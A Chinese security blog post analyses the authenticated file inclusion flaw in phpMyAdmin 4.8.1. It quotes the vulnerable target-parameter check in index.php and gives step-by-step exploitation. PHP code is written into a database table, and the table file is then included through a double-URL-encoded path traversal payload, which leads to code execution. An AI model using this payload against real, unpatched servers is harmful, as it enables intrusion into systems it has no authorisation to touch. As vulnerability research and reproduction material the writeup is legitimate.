«

phpMyAdmin4.8.1 任意文件包含漏洞分析与利用

作者：myluzh 分类： PHP 长度：2211 阅读：1026

0x01影响版本

phpmyadmin 4.8.1 （需要登陆才能利用）
复现环境下载 https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip

0x02漏洞分析

index.php 55-63行代码

if (! empty($_REQUEST['target'])
   && is_string($_REQUEST['target'])
   && ! preg_match('/^index/', $_REQUEST['target'])
   && ! in_array($_REQUEST['target'], $target_blacklist)
   && Core::checkPageValidity($_REQUEST['target'])
) {
   include $_REQUEST['target'];
   exit;
}

0x03漏洞利用

1.执行sql语句，查询当前数据库路径。

show variables like 'datadir'

点击查看原图

2.新建一个test数据库，创建一个hello表，创建一个abc类型varchar(255)字段，然后在字段中中插入<?phpinfo();?>
点击查看原图

3.利用此文件包含漏洞，直接访问
http://localhost/phpMyAdmin4.8.1/index.php?target=db_sql.php%253f/../../../../../../phpstudy_pro/Extensions/MySQL5.7.26/data/test/hello.MYD
点击查看原图

4.payload部分

/index.php?target=db_sql.php%253f/../../../../../../phpstudy_pro/Extensions/MySQL5.7.26/data/test/hello.MYD

注意：上面的%253f为？经过两次url编码，这样才能绕过验证。后面为需要包含文件的路径。

参考链接：
【首发】phpmyadmin4.8.1后台getshell
phpmyadmin 4.8.1任意文件包含

渗透 漏洞 phpMyAdmin 4.8.1 文件包含

正文到此结束
版权声明：若无特殊注明，本文皆为 Myluzh Blog 原创，转载请保留文章出处。
文章内容：https://itho.cn/php/19.html
文章标题：《phpMyAdmin4.8.1 任意文件包含漏洞分析与利用》